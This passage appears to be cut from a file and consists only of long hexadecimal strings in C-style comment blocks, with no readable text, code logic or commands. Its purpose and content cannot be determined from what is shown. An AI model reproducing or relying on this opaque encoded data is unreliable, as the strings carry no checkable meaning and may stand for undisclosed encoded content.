012a1944ca2b60a54ced09a94a9691f4a85878ad826cab4315b20c11c5305b6bd8398d46668af609994e7fc01ba191ff7c58709cef9b006abfd18f434a7bd6c9b3f05157f5a86ef8036fc1378ccdc568ac1edac4b30db707bf2d61e227649ed16658b844b65feb240d942bbf55f34acf63564673b5e5bcc6e3cb60287fb1e5521b04182baa7fca117a2c54c020cc19a593e1593f321a0c062d35e715ba40373ae3495744dbce04be1bc680c3cf9acbb5b58fb95e42fa0a2c9809536ffde53f7fbb3b03432921e6c7847e087aed217a5c22b616ee57702dbed6e2c8120e1bbf6cedf6c4f896496f4ea4d737348125a02bb7889fe61ed53789ff75fcdc69551e0f34f436403193cb43dafde58092007e8baa46a3419f5c4301a0a79f1d4bd75624df2467e0d40a80bbeaedca71276a5005370332c6676ae9d4103bae3adc734dd43e24e43f1a16e2a0c046ece48519e2dd23d47293ced6c0fb118e33af2a41d134ce1274bf0b67dfabbc76768351539a66c371a324015f4d8437393d17db27692e5e3aa163c2d7223bd7629ea4c2c5a9b7775e96f7d0e1910a99bc440d6f63216014c71aa0ae6851957791aa2b022778c3f94dd2369748c943832c3b2def1dbee05fe507f068ea7c50114508c5d4697442e9715ca8575ac6d2daeaec07fe71414e1211f2eb2f9e2b1f990c5afa1d47c73e1bb3f28fe0ad15c8f19b13ed1870fa9e9b962b917e7de7178b99d4730f75866862792c5f063358bef387ae6a2515b622c733faf68adcd87a06b953ae45d11a70c04e747635a6f9bfdb34decc7cddc34b728029ed8fa9b967721d990f9f5e2cc76d2e07c28f5bf33b8ac09447e93e08377190148b57eb05cec95b7df65523da99da8d6b74534f1c27532987095d579055d151ca06cec501cfd27b725d3ef09152c4f840ed6f4cb4be2c86ecaafbc10119cb0d3a4b4e6f6a4a8059c2845f118d61b845d45f2b3eb13cf24cb858d4b71e484d547d228810ff3fe22cedba3cab435ea3dd53e57702da548b560f9afd9d0eb135d50300be667bd67043ccd11828326aed664660045647845e1bcd65c1ced1ab1b83ad1a9c22e1bf0d924b6dbd1997d79dbbe9a5e786050f2ba6c03bacfdeb2d25fc4c829ab4ae6d8c9099d84633f38b54d70a7599ebce79ce40c349a3f1b676e0c1d0d9d97e87fe11fa7923546b501fdf10b751cda41de1fde4f0660e5698cb81a8bd7bcad43778f38e457b1f2bd7e452fc3e8db32b4361e46b3910ec7ed6f271ad9e6726867088f5843391873a4fe67509f4b7b853d92c5c004510*/
/*a09db0de49db0c57f4f83dcdded4190ccbd1a0ec08299a4d4d7ff1c9e7952439d1d7c86db1934b08bca297064e4965ed9f2570dc8804981797feca9209b0da8264d6f9c3b0ea486cc494d113a7a77b91c794a5f5d7b7a2065f31bff9ab7435e75588d0a34a085383f665a0f6eae3bb7ab5cadbcd219af00e881fdf4c2ae3b7224c2e147a665d329e29724bc68f27c7aeff5790819e1a67ed7e6adb7d8a0d308cc15b252619c1ffc0c3016d89e1d84dc80bbe9dc862ac89a448571c7b0263d526c92b04245e7ca8bd87d535265c109ba64970496c377a3fb50728081236943ce9c2f601354cdefa4fbac3745ef4fd94322b0421753602ba990a9106fc4153069ed4beebcef113932b07c2b90ba72d65724591898f6e5514c95a3d9f1d400acfeec9be00fd2b3bd75002daf843eaa9fd8f26edbebb48efe28748e7d11ab59957958414206f81e4383f3745b7fd0d69407fffb618daf7c3df20d827d1756493cffb1849f1a96bb9d1750049c449f5e5a84024b9080a748c5c2972ddac72a0c6461d84f3e9102db7bb3ed86717e645a026e9f380e62478a7857d9830089dec139db62fe7b001f26d0531ff122b85599e6ea47dbee4f75eb1aa11e3ab5bb0e59128e59b28e81bb6e1b0d4e1b4a5037efd748c80d7230a5a85b9d77923eeb9b5021690f0085abe34748e46fd6ee2ac5ec77feabb1837b85e64377a32f0b2022527ba5e7557a72370035225e628b3477158f5c55b6b141184e1296d2195ba777c9fcc54aba13dc53095da208245b3d0b1157a78171370be219f1d4ff2b28a146d227c276962df236858785a02d6efc162d60fd5c89b9e1eb5cb13e5cc426a91d459a7950d6347674c41a4d4245db04d526b3f5bbf81ea66d45387409bf7733401f9888bf83d798e2d8ef70e2927774d919d117844356797dd76a5227010b8202e3887110211a3766e474d0cdab32acc47886da30899dbb75322e2268b0b430e84e9be07c9962257e443d763994cd1cad56475eafd1a115d78222a729408115cc5ecc3027da75cccb3426b78cfd0e0e3453a0753469f0d881cf66f564e9f4fda6ea3daf16894ddc895717b40fd1cf72e3f625f41b94c79d30abc11ebba9727f1af190fe1a624705b3a47cb85c4f0c67468d6c85dfd5fe57ae2d2c9a646619200116f98de7e6f5dc8b0146958d1d9ee3085ff0765a56064e1a09e988b7da7f0bdbda66095569a76e17b044258e10efb23f0e81f5a79e7e0beffa434d1aa7aaed380bf7705de5f86a43c55da6fdc7d685b4792eb6d962c8ba2ceb91321aa7dc8c490e1fb225cbab37c6c0a76d7ea94b3fe4d30ea73dfd5aec08fc0b8ed5cd805c8659f3db9d59153c67185bdcfbb146e4d6dd7c3c72aad8b681ad6584e994df0d13ffa88af02af97f837bc5f4a74f4ebfc4d5434eec286db96f433e25f464b3aef530ac3dda01068dcb3d381f33772a0ef910391267faa30ec9d25584f3ec84fdf10bfd7fd3acaa2986d61191e6113bb499db3c6c2febd44d57502eee0cd06640d808b29ff8eac0696c4d88a6cbc50c4c622e5fdd4841d048e5801782375191ad7ad68e4d524e1333165938c3f4eb3d906f7cf625c5407ab3be34d00f7497494e66bbdbc92877d02c2f4ce3ad53e62d6237626b8a643f6df517f744ce4d36a3a35c6ce4c903317954b9850ba9574fe5a2b6bc07d7eb3507b841392f6a34f31231cd97848c6e8d2239601fc9cfbc8e29050da8627b0ddc59a421b18c3c89c2a5e88b45bd3a5a96d74431389168f1eb6b52931aa4db06e85233a46c70f449bd06ee19191431eecb775a3f014689528da8a4a6d3b9fc0b0141b5912b66d986228f165af8d1a8b07848628cf6504bf1703b0889a9fb3a7aa9e2ecc20dd51fdeb84351150e489ca3371c01d9374959ca8606cf12730dd800af1c815eb2a11188b351b99a1983e6e6dbe9de514093d8994c9041c53577cc104df5f8b9ed2fb9cb35aa8e3d2c015587cdd5e365636974c181556d6138c4b25393a6eb7176600ca79445fb7a5acfe9f2560d86adc63a00a3034dff1ae6b192bf6c4bdec894e760e944892fc1674b3f23396d52ab011be201026349fc361ff07611ecffbfe05de43ccaa14ebaa9cc156ce2a2108896536c3b60e0264f33fa9f420bd274909e9ad37a744cafcdfe9c953e58a20d69d60cc30ea5ca2db084f4d916011b96fc10bdca9d0119844d293d6b44138b655361ba623b3b7c7ab92cbd26900b7579180a6d5037493017e1cff0b5a9c6b55ca377baa4582b7f93037d32be55e8f914ae983805f3c8d23441dac51f69b8e37e0f6255698c28cf9e2553c80e7fa0b584f37d77c4da65b848bee70bc8dfd8982903edd18f9dc3e629fdc4d224f1bfe3133ff01c5ea538a5a229b7f4717a63737c1a8d4048302c81bccc79ca263805335bc05200438586f82d74eb4159c3a5dceaa5b6ba1fd47688aeee6e2936ba8ee813cd7e13c0fe164d2920f09e4ec20ed1ea8f52d94893ecb997a20bf562780e32e053d372cd8e7379c3a105fc0fcf24dff1eea93e60141b3ab6623f536c4da22c9179d162d69b2a4e956552c116934194720f91b9b681a0868fc091acc5fbf02c59a23bf706f8ec2eab5bae666fc6320a980d432578466f30c5a350c49b7b16b2f7f6ff073d4b6dfd9be51f80222db3fc3d1f6c20419f301fd8fc7f095f94a6554def50325490bfea1485230b2d4a113166d4bae2a25f56d930535ca24accee0c195813f971c2294fb5fc4c6865ce425dbd664c17282ca0a315a10ff3da4ca87e72a294bc80c1d084344b50eb160f4d94e11cd51293d88c9d2478811494e*/
/*b29dc8006b01f8b5811889dc00a1d076128a814d4633c01dbd4451742e5583d0d83326d6f7fa7d98783e399a6e8d90d1e343101e3b27856afc38efd27d300ffde542b1b97dc1f2d53d5bca6df1e781297540b161f4e483240ffd157d2bf6cbb135563255dd5bb6bee4284399d4ff0221671b5cbbdc36ead26f55fc67862cf7df6aff6b12027db1ba1cb546bd372176974081630d0b0e8b38427fabfea54d044892aae9c2683015eae14ee1624d09900e00c3e1cfd2e62817c06f04244da732b3823ba3e685e1d5b78909a2a4566d46d528ececf7fc6e678f1aee7c9a8296b99b86000bcc7f9281be48d17f6385b35e38ea2d847dfe0d2ca5380e393f4eeedad472589ccbc12f903c7e93aa204918547da01aeb27f0ed56a4a717ce9ab26546d0dc66e38c00bfe1692ca46cf0b2f0b94d5dd3dab0efbaf158cb97f6564efce68b8cbb40c658a0f4f02b7bf91dd75f54cc7d6a25b00d0edc171433ab286c68b66b814fa108373a44e4d52b66c1f0d0af22b2461dd7d0375781d80f46dc287d94540f800f731e69ab5ef60fe03fd49dd4ad155b767e9a8e1a1a13e7b168c1611d120003f2cd3596c3358ec70345ccfa4bb400b94c4c47abdc9ecaad0686b17178148862d538aeff4fcfec7a80d2632144f8fae4243125138e16c071d573d58a8f8d4ea198912aeeef7cb015b330949034615a925b39bd42772d74b5768aa9352fc47e67a7c5bcd0e829c7ed185c945f1f2627a9729d0f1875c200518a62aee5055e5638cebe51b8b5ce785a3d2398dd10685ce46db6e163646c4e63b6c73ee951bea4654da7ce39ff4e992c84b01a53475ae0cab61e8c39618119e810746f5a38729775770542d832fcd25b0db82ab82d9778190bf659fd636147f01c5dec80d17d1f6de54b260dec167beb1ba87314348cbaa0830abbfdebc10fd0fc4ce098f1753912bfbe7c4d09a406dabbe5dfd40f9568bcbbad1dc9285d28440b7c59c708dc571c0b5b040748dd6edc96a917950b6ee82f85b951a4f88f456d4e427809498db25be3b7b59d64e3ec8bb32b8a215d9569cac9a972af6ab2bac492ed48935c97f343bf1e15c203a87c709fd66aa91ddbce06e213223597da7f06aa9b8c0dabe1fba2bf2738fe1d271d36c70b13baa4008b0dc735a002e50037faae033ceb80567af76c761efaf6b3f6b030a1a7402532f288ea95e594edb8c4a9bf0274bfafde00572972b8ec6bf62c974eb9dfa320c1f48835e347842d34022fa1c9a882d458ee890fba5251df3b1618b3e88cd71363c630de0c1ede7a5e8ef83fb7956d25e6b8e45f4b99f79c86a57a31ad74c44a40c7e11e66c41420bc4539b843838adfc2bbdaebc270177b502433e8e124b5f5b3272b681da294c514fc1e8e04d81dda077ae073a8987cad6dc3b1ad33c81b524bc43b36ff164251a29fc2e8ba9c38ed46d76b4f5fe89c048c27ddb051e80b53f0ff590369901e5de996ba8420acf0d76787cb7daf0cef395d078040628c6fa44176fc78b980424282922734dd58bf0d65b7acf76f56bb9d216b68cd31afcf0cfb26f475ec33c48609e5503c47c653abbf1f6e6f5b3c76239f9987a8aa18f2fe4c12d01ca47229f32c5d3aa6c5f5820ab5d899a80dbdb92c433fe1e0056aa9f79f2b0c45815b1389068011857fdc3b7457c8632ec09d321b731901e1905582e63282c899a115b4752fe32bf3cb038ee7c050aace2e86774b6647201edcf09a7816dc8313f70a6c94a335a84e9fea354fa748576b7a584cf968d6dc51b3ce0dc828278538f505792f9bea6e69303bd7c82f8f0577bbce4674e5b7e371a4105caaacdd6e956774ca317fa90a8fca99f7a3667148da16ae6f800f958fa3a374993296c1b9d3887e4b9e5b3ea285d9b15967379d1cb6650f3e1fc63ba3d24d2db4a7a3e6a11f805bb006606b518220b4edd3ea1a24afbd5558a2dac39083b061670d9f8b03d1c1b51006af27585c7b6bd0e7c8694603d5f331ff697978df708f302dc5965adad650cb2086d7825359fd4175865a248718b43f4c7d65ccff2cf4562eb4d4df05e590f9b172c05377dbe1b091e8ba4bab3bfaf3bb5d7d0da2496ac651adfd233d1307bab543d6b44e5e329cc221eba49aeff13e3887867e33cbbfc76af9fc469f6b54f4f48f46bb7f79cab27c33d4b55e7aad0f3a34e94aec7364fc3e795d82aa364a8abcbcfbb360ec151621001cf2297a80123409a56ef7fe1176b11de803705b971b2443d3138a8eeca4acdb4c8ae474407c03ade34b3ca7fd146fd729dcb46c04a87e5352d97501b524039af9ad6389db66e364ed5f486d893c1e7114c6cef13c5dd61241dabb6a56e11acebced825a1c43b397c9b8fe91847a06802c51392eb41bd2109e0ff690b3a3474aa5183c6c6a2ee760762d24467875556d06714ed9316dfd041e431ac1385a4f3e2d2ef738df9529026194490345935c14b5b96c51fcb0116ca01a38931ac6c95518833620533f991e682302f5d75aa8474257320817ffb43b24a0344758fe674420023b8cf9e4210e87b2d3608f2887151cfe67fa0f3f3617c1c04ade488f98a69e9df56a0e57b211931dde2edcde0a1eb7fc08aa5e9f2cdec581cc101348b6170f721731444b49ec9f47bb65e442bc009c06f1a9a5c12b888aba2632ec95eb355e6d77222eab1b23a1069ef50e56b5e16120b5e771660be2bfb74e8d273b594804e73bbd2e098d641e649731ef80cb7708945efd4756c4edf91dfb6bab2c87c475cb98661dc31df0c8bdb09fbfd1df315d3ba877dea7e49f1329af42846b875d7102892c4174bf3920974a625594da67*/
/*8916ec3e9d3ab22ab91fd2f6928a86a6c97d7888142beeff9b657bdf0aa105133552510c540485584870fedf65f2bff979eb121269df8698d9fb0d1f0d80b2174d95a0b03c73d94e3e33dc3d2a528eef0841de646ea552a1a14009f3491e12af2f931c9621cb73d64aeb3988560c1c567da5454f6c2b78e4e87dfb9ee92ed2b0ce35fd0c01431ace4f01ab6457440ca4c9790b5021f52e552a5b2db2e0c7a59478d475365082266b726d21b45d216e822111865f4c0d1a822dc6b2533b4c47f042ee238f673ff4a51c036007c69b486c1ce37d54661170c0254a9b3acab5631373c27203d6427e52e63e44a11c49daca78a7d7f256163d8730da9d11f07d9f71fb839cdd46fbca5b1634f3cdb75eabaad96c9157c259634639236c20aea4691538db6ac326a813d1ea67e0d8297687f99aae8d0cc80ae7ff07684f410f7ceeecbdff08062d0154f7ac6891adc2ce57dad410ae5f282caac5e3f12e6bb75552eaca8a0f0654139e796abfd1b47540ba10164ddad0d055437d6112bd04539080ea46f98f55b3e983a94570a5dd180c2a18ce6fa59fb96578763964b585ce38c0e7abdd903dfcb1e4ad3b862dfcdabfd0906e6ae57e13a4c080437c2d74860f641a75c3335fa9d111766fdeabc38beb7a045780c3cd3263ace1c72e2f21fcafd6dded24b125c76d97e4e9910802a15a4f2699a8065b4992e061114cba4b4b1b24e4fe2e8cec00637e374688fcaec1de1ffea8a42360cb3344aa643b65aecb38c86f903e371885c0628e56d7dd2e226dd06c8f35f126dd9e391662459301cc4228ad699fd72d0371d18310bcbb87dbf6ba423b855a9af99ca7d8bc14a205e861a899fb4811ea05860faa6f4dbd5e8f05effc2423ab517d7ebba3f5f33da157140184c954e918d955f78a64bf6e9744da9ecf91df1f72aa64f5717115f212cc643a1bed2bcedf8c87aa3e87d6b42ca035b5670aa9b7967275dd8bea4620acbfc2b00c2ac9212b96607ff815f25fcf45925c5310e63d521671c0140c595d914097def1ccd4b4dabaaea410472d51c849cfb409ea22be3991255372ef4e70934c91eefd34f44ea2ce28a82d134f42bc3fe95b75583a21b00bce9109093bcb6522f3e837729504b3d594146f008517a366d8d16a2771441dca02dfc9b26110e35f04f08a51e98f5c8169100d46434a51e8c904abf30468d9e4c1aa489803ed58f89be8d79f10195dfbe029240aa1527f2bbcb0a7cdc5277a084efe943b6b719bc688f28d7c10e1e7156b971386a3a81c252a34b88c480346a291696761c34bd9c825135deccd78d5493af117883c358345e2c720e678a6cc0396fdda270194c7b6b9b3c025e84bdb34a8953b1d09f3bf148f6a6fd4c673beed8fe0833dc8a6040d2dbbc27c610910fc40fb5c5d2dc57830c7f347da9a83883f2fc31f7243b4278e76e4b92c6f01ab1f782e4687ca576438398f9078a033f02f9bc977bfbb427c2c644df6ca63fadf4ebbe620a3728c4098a1f395357356543c6686b123c47f6fda9726a19187d517040cebc98029fafb605bc223299b6694827430243a3ae4ebcad4002c67742f510905ec702c1ac24b575e611a8b411dce7090aa890ce930650fd25ea163712783ab154a7a296d4b5949c328ff6fae20118057a61ff3e8603ca5d22001a3e0f9bb8a1d9350ead170b548e05ecee7e564e8e858ecfeef6618c5ba12f3c9a3a4f95ce040c9e2f97ea21a71c45275a53df66f404fa8b4f1e16832b29031a2fb7189112e95719e9b0236663a108ab3dd091c5aa5bc2ece4fedf5d54b04dc3f0d3d1ed1eabb16e8b954557d90d79bab4a2c751280e74474c297d9449bad6390ee7cd38df23d1117b6ce86ef8a15a452e4b42f0707dbc95a37de4f39aa09d36108d9364276fd54aa9058ba4fb665edaaf75b7e9aef98353e2094a92b87e634e86d5f3df0e1b2065d417aa6bcac78e40f374aa9462518b38ed1572aa6f0bc07c23e63d691c24fa44f965280c57ce75650a72eb1389d1775f5e3531adfc9a641e3e25883d8035e93784506455c3b3205398df4dccf9e5dd10150eabd1cc7b2692fddbf85eb98e2208c13e9f6d65ca47c12d983c64157debce1261983a02aa808838515c4d3c25564b09f225f08bbff52b76119a5d719e71d44facac2be5038cabe20040c7f57d782efcfbb92ba9ebdb2c05a9e140ecf4e0ae0bd682df4f3f7b9e5c23391f367c68f88d5c5fe811f3ac8e51252c2979627a86c373a99e9f2b83835b3783ab7e6f694f338e33df6d7b278abfc411523e7d43013a8bdd2fdbd007ca95555010ece4f6f0cb83cfac383b8a5c05920450b674bec91f3a71b99ca5f08bd58c7f88ea45850a0fa87ddfb5a6f4c6105368567719fb2baa98dfee8deb8e241fc62f7f217e413f3078702b461fb40f5a1c8c34dd0f34a89491c37819c664a91ea654f138353c149ed9e4c2e54df35f72c4696b9f8efaad2ecba05d36e9128c5ab4a2719428488a3d7276de9f06649f2c7788aa5ad6f1541221344ebacbfc7c4b7303f5271f7cceee250c089d9676775f68c10dc548baac34e582f5658aba1c4735ebd3be15d4720f971e67400e3a7ca8a9b2ea92bdc30762d2fbada5d71149c8042607bea738155ea3a8b8cfc6ac61e76d103b992391f5bbe83d32f5566513dfaca776ae9070acf7688e791b69d9264aefb04bfe7dc17dae5f370c1ecedea35a0f16ded59b098106434a0b41a446be41ea7cdecb8391f1f70cbbe5f65d809c1c0c46410dbc655ab340a48d65985cbb2500748f60e23f01c16c2f2ea4dd69ee2c44f8257541e851f25fb931888874b2c*/
/*d699a4bcb72bfe7e1c9dd92fb985380d907a9898df690d7ccd9946498506d5328d26a0f2a7662f8c35bdd1be3989132c907603fb0365144e86c0a43a5dfb24d232f05d20044907b71b5a1ebf3830adb5f5248b36476d3f3d0a7517d293aa015f77cda8a18208270ccd41323858a3a4518b2e8210961d82f0e870304856e25d341c59a8ca11f8b1d9d509c1c8dce3276b7af167f822c781d5930ed0f216de4bcbc946f12c840a10961417229be9169806e8cda4786ab2e1405a4c6a09c8cbf90f00886bd5131be1d43625261ee5e56e683915a032dc0629fe69a03ad0e826ad4ad9c3c99451f160c9dfea73f9a457e4bde0a69acec5f1f8d2f5f5f2048d1693b4eafbc752e0e4df6c1d6d1af80d3b0f685793f50719a3685648d1a0c428070b4f13cfa5cb30516a9fc573e74c491127fb0ece9d7aa35ae190287c12861d25123dcf94339c6dc834cfc9dd67acd43c55d0604384701a4f2ee3c183fec570a486d953a237734cad02ce7533907424f5b0919ad2631b8bb98ee496fce74bdb9b6b2d2383a94b0d1c9b7d8e7a865f7f35beba20dc4e760ed1c31d74aff009eebfaa15499b86f8e1bde3adb1b859172c1e47ef0c86df137570a6375fab1bbfc7b8c51d90312e7347cca1d05b600c378b17fdfdc07b1206246328ef5ea74b8ad3f675ac02960036de31f59685db0ed519073aeb3c0c3300e18dd73f03dae708810e1a477f3809b9635b95a93d8c31e033fd207b009f746c1c5771a4d2d411b652ad50f90408779013a8ddc828abc6e5a7014aff4e9005a210922ed7ee6e1ffe1bd01f77c625ae2216643da13b650f87a6b3766c048db82bd943b31f1f9d0c9b0793bb28f423cc05050148d57c08730b69d770752874d746938ca10a3e6e5fe955d223950aa4aec3af81d35502ab463e673d3764f3ee71d220190334636a3d89b6f566f4e8c2ad2ca1bd3b972345ab24fa191818f34b6dc0648e2cc90f21d633d80ae5eb9e3da076d71ec2995b9b53ffb0915baa9a23bbeb8319c01895b24883a168a42787de79f7dd54cd60eef47ac090365da01738e4d40ea2b3454847059f60d71b6dfb4490b91d1ad4a2b73294b3d8e298501d62f69d4210dc61837459a54d64857c894fafd48692b4a2c5c7c349585600ee0e20c4b03d697023558c64f68cdf5a6f213b184ef3d581511d955dc8608932a6a6b2e36a32be8529755a3988fac59535f2851c7f6b4a8b97df8a6524245d0dacb9b717ef02b5e86d7a46c80910f5727b441a5c06bd139e0477a006cb239eb303f0f6e2d9c2928c428dbb1562d6854cdced40263a9bacd7319108b9eff7f8ed021b1ba05e1ff11a939295a83588c9a87e11c10b783bdaac2e1cc19083bcdbddf655a6a63813de99025a6f2ce563ed5c199ab3f49601b942e864936f9eea53911ae26a93ea5b599faa8aa93ac1997179a1709905b4fb0d1736ca3a7888e04c60a9bbad3681d5aa35e1bc2defc93ccd87dc9977f743320f97e599cd05c1125778359038c59445e3fcb849d6048e7f3257ffcdeca9e3976ac4044967a257df2947ae702de610a3706400f98b792d90d25bad9a259ca7be3c142f949ac606ce29385c8147e93d3ade16d78196dc33863b0560f524d490569d73e5610962393adcdafcb618415ef606dd9dca112820f0a503d3d89e11b12cb13f972fff0c5dc61a272e6b81e2a5ef5cf055a34eab13a86fecb56166457a0eb5e332aa94764c0b52db9f244deaea92175eb80f144d28c4c9aaf8927ab53d7f9a0a79c86d9802b3b43d0acce78092e394e22992997f4b10dfdbf192d3247f19e37713eb8334a057c1a98d0d4ddc3e9b43129e5a70b2565b879593c98f39fef7c3d08633ef444f8e0d41bffe6d87595bba6cbd589e716e375d734238043785cf884c8224b535b3a715cc7b33a1ac862b030a2afa5194098f8e9bac32b8767311b9aa9f5d98f561b1afdd41f789b6576f31aa9d75c09e1b89fd7965a8d449de9eb78a6b293ec84f7ce50d14d61703d9269bd1ac03581a8d680669bef8f3b4ae9dd925e3e63e76377e5317ab84a64bf963ad24f57a3c3526632d624de438728e3ab569c75abcde8853cc0af88ae3bb3fc09249a26f20691456313ed882d1a5862cef2ff160b8172d6be60d843854bd4c4474dac57cf724a74c68edffebfd52c51924081e675b158e9f7d76272a9352f151cd52b6ef17f24cc1f3304f9514cb4efae120a06a32192f551c42fc61c14d9911a29a8dd3f9ae59e94e557428f5ed0c22b4322ec6de098bdfb2bd253fd38233cd06900b748ba1eaed05f48a190b3043ae7e24336c5b56e2325a7220433acd531e8c521806fbd583e471dee1374761f89dcb06c5b113ee915e864e3fbaaf810c2b127eec6237703d949805ab962e14e2a35d80d1eca0f4a3c00de797207a93ebe7628ae994a14d4f0c2ceb77d4df034af1ceaf083e755dfb2ce315d45c602b4453c28155109d971f2e8048a1e6aa401e5ad28002f8e1f364157854ff2cf4c9931cb4afcc4f1d8d98274f5181f15c13b9daeca0fab4f539af09a0c1fae554b9ef36e5220b9bd06acc5832e50f9b2517bd8aef000f92cf51f87c22205603287f569a7907347a071626c33ceaed992b16e762fa24fb04d3b278b7dd6d73a031a2b437196916c27c24596939c05fd96296771b007495b8257a294bffc3337e1278d301cdd86c3f50233ea9e9681b15c7bada1748381644bb418fda60435256260e010aa57efda15cb41e273cb36134c943ea386ff20f64738561c898f4bd7fb0dfca74b0a6355358ebc286f4adab874f799482c862ba72a73ebcc5d9155d*/
/*e0c56a096a8670712ca76345fe54e473011e33f9641f2c3b879e08593bf6f84fb378ffa8105bfb22a1b49e3ec8a5b1a1bf17db4c848e77dcfa0204eb7776e48666ec0518771cbebc622055e84512be69dca350b3e352c90cff3bbbed4965d048b389b41253ecb96f946fd81e68c7d36e8bd1040d2663dd0e07931b9483a80e8610fc743690f1fe65543f742f8a4f36ca730e82a716769f44270a189e4dc6f317cca08f664af5e4f776ca94978868fa59cd09544227890ce7ab2c57046d2438da557d5540f8dfd785aedccb39cf55c70e5333f68bf63d2cee6392873579f881b3fc9872f494eb519e7e2e822833760cc87491e3f0772e32d4428850cafa2ae7296781d35df06ae2a157f4c25b94735f1e731aaf14f3df7edfefb73ed842031896aead6695cc7fa8514ac2064bdc3d22c3f143fb16ecf3736b24d5aeca34acf254fa2bb74b7d5e894b8bb0450fd78de9835728df48c49e8202d757d6a3f8176b65b892d070d4292dc1d2f6c763456cf16099e0db67a7b8e29b4a4bd6f1e8eebe7848aef1f99c2851db5251ec6c86ccf946b1cc87f0b75d361d7ee375c831549974e028959a90bb9465ef2849dd77e9acedf6fb9fd83af3d5b71f8e717c9316c3eff04dc0dd00c17bb379399de3f1ce220f02fa9335b7f667fae8a93cac1a8338edb11cb11acbc99b43b7cca49b041135c73ddd467e735d896df838287afe04040407ddea4d4ba1b1e9acc1165854a8f25045e5f4f270d155b27a1eb7ebc997d6682a28b85c58d9da5803ab4224a5aa70b6b06806a03fd44a2e3eb1daa355f6bbe6307efb1121dbad9d8ebf25693b6acb834c41c17d94f81ec391e55287891e2fbdecc7f18a4b979f29b6b064f2a1e6ecd17ae0644c30e33dca783e6c864450fd4b97aabddeb1f123885f44e1d02098a6ec5a6c71caec550ec509bace9bb6f8c07f2a72eea8c9f1055c1ba632b0df5f120efe750f4b124d9cbf3d98a62ff69d537a41fdf556cae51fb6447e14cc8a3a12bca0f73062e4ed9b8b39ceb4607247972bb0ef2ab83c28349da037b4b988d8f00d57c4fb8f369db1aefd2cdd08b41931b44e0b02d6c8cca6b6c460655d8a34162ef77275578a5ef0dec90770e08905cff0b75245f108d24988edc0cac3c259079c70c7a312b9448cc9e576b22d7322745d7acfeb68964c0d8fc1c3c62ffe4bcdd55476805c5a22fdd1b0898f75b38564d56bdd872c98cb6057a053c13041aea3188607cf6b76b0f3c5d4beed5189da39c84503fcccb30662272744556db2246efd6c1de9673b5567c7723d42dd0c6335763c7bb6152cc2ab287907da4d877007a92fc7b8c9c8f54f2984fbea652641b4d4ac79bfa67cf6fdec806ae65d22074bea2432379beb165048a8406acb24a9d54ebdb8db7c730edddbdf46a302df73d23028f0914c7faf169d5c692239d6a270c51d98e45c2dda29cf5c5c222dbce6b5e3dd600e47b7d4396fcb23573be47b8a239f1b2cb4b36dfef7bf289925be1c945867e48bd9bb460600431873aa276ddc2455a448fc67b3067b1f24a152a9224de5cf4ea71e430d5c41a7867e83eed665d29a53c18b54cf1e1a711aa7e2cdc4403baf4d1d40c0ebc39aaccd566a10b9af6d1e7aff5f725b7177319f10ac23c5ed7e3358e6374abe355413a41b82571f9009f810665b61c67cc040381906670fdc4f61ca3dc20dbbff1531f5970b8935e5aa6e8a843db8700864b38fef621732a51207a80ad35d8289b3a880a161b66fb5554333cb944ac99927a70d2d566a647e1ecbc6e5d3463757b30f8c49cee65968eaabb4cc993ccbdc669f460cc7b2be557cfcca6e8afff6d6db6889d4dc9c12d384c73362217dfb080b13bde53f81edad5ab0a864f2431157ab1df44c47845d5a47c10b41a079a0153ec650c613f1bf9ecdbdfe7d137d2d6f22a6df893880b3899b70513332c1aacf032c2ed69d3401d14886368ed2dc2d604bbee69bd4ec35ea867ebac5147e29ee425449ae5fa1d249e2886a6945eb4f939e5ad08cb9e91c6264e312c5b1c564d70e998889d5a818377ef53de6a26415d9dbfbf2d96f8b15872d286628dd6b7ab00cea25b63ecb1e66d25e6dbb2dcea99713bc353d2e1ecd299d8659f627e285206c757d05f92f2c1f1090e3306eca5e70ec4c779f7d676f102877443dbf53728f71e6ecae74d1cb5097ba7eee056a8f0e81965fbd049a584bccb3fb30558c1fa1f163355c4e29433382aff2cda053158589fbad08eb0386e0f240aaa6f0c7971f46973f880de2b250019dd2e99748a411e4a50ee71ec71b457f7e385692d3eb492c780d16d817807b5d649086ef0ad2648ab7146f0eb51ed3577dcd6e7649eff3418060a90dac0530ec6e47b78e31b0d477ccc9ba3f1a4ac20489ec838d24583f0a09da54209ba462891e4db0914dd0609f94f822615178c87385c93ff812a5e792c98f8bca141da0aaec81ce6de3d1b881083fa61e6f087c293974a87bf952e4d37091d5162e01415e4e993d3063e6cb27b51dce92a4b959ca20809a755602e7c9f33dff198c643f9f91d510350a05eaecacb1a6c86dbf35d6693b3e1941009a0f31906ad3a26742f0af9c9d97e21a685ca599b8ee4ee34850ef57ef8dcff6f08bf2f1d4f9adb0ffa93424d01cc0b00eb222dff61acee6d83e9595c4bf575be912bd3068652852fb69fb0cbe9998597a76fa5bff9da94743741f822b33813eb6c13097ebb8a364da47908724d09b0b5f69f14df47d4bb54590712431d2343ec480cef51c9b07a907b659aa521a4f9a2bf2533d9d6c56abe273a4b038e11533b838d229d8515e2dd558*/
/*df1d617fb034c258ff0c218746bac17d628fd83f62dabc6cbf4e8821e3fa7c9268f54e6ba0783b0f959a58b864c7bd55f52cb08871af2bdbb49ca1dc57c663cd884ea1b60e79e8332a225733770c6e2b988bcf5e0edf81f18d3c1d66b949be8ce664dc0e0af016dbb17253ab07491313a3c316a2578a63e5a7c6d61283e5689586667c229c6a15c11305c1d043caa64553a09cc5141dd9ac33a5a01ed8dca41a9f7803b425e4ded5451ee9c4a72a20b75e677d31563bde6f278c380fa9001daa33528ce3289906e1c64931bd1abf92d48badc29d7e06dc4c1ecfd53af88d0bfcf275c233bb83000e9362a2abf9e195156c4af39ae791f24ca2d4f0cc6c8f1c2be8647d364936e3ff4fe2e08dbcb8dd8ee539d1e5468e5469d42dd101f93ad25d40a5dfa8b81026319eb86c112a3eed5588f13f3a844061116a079d31fe5902d7baa62e5fe42802f40c1876257130159178c1cd38b4c3a0f306354d6093c20d570882a2122c3bed530192259f55b0e960d06d9a8e5381fe3ff6d283815c967db5f1bbf6a1562c25ae30c867d33212e8b5a548c8673d7ab4388720835c2e4b63c19159ee4189d0bb40c4f08cc80082214aba615cb81a83dc0562b381f09ed640632db946658f78bfd26dc40e47f4cc07a939daf9ea5fd53f72c64d3174b4c7682ad454bdb0d365396c05f4477374857e1478e1d70474e5ea0075f002d7e3b68cd440983cb015e0cb61ede42a0c3bf5f7a9a35858cc8cbb5e50cba72d8685cb16f338ba4111446c9e499548018a3e61d6350be6c66d378945e1a9b9cabccb5a47daa60de310cfcb7d51f9478befd96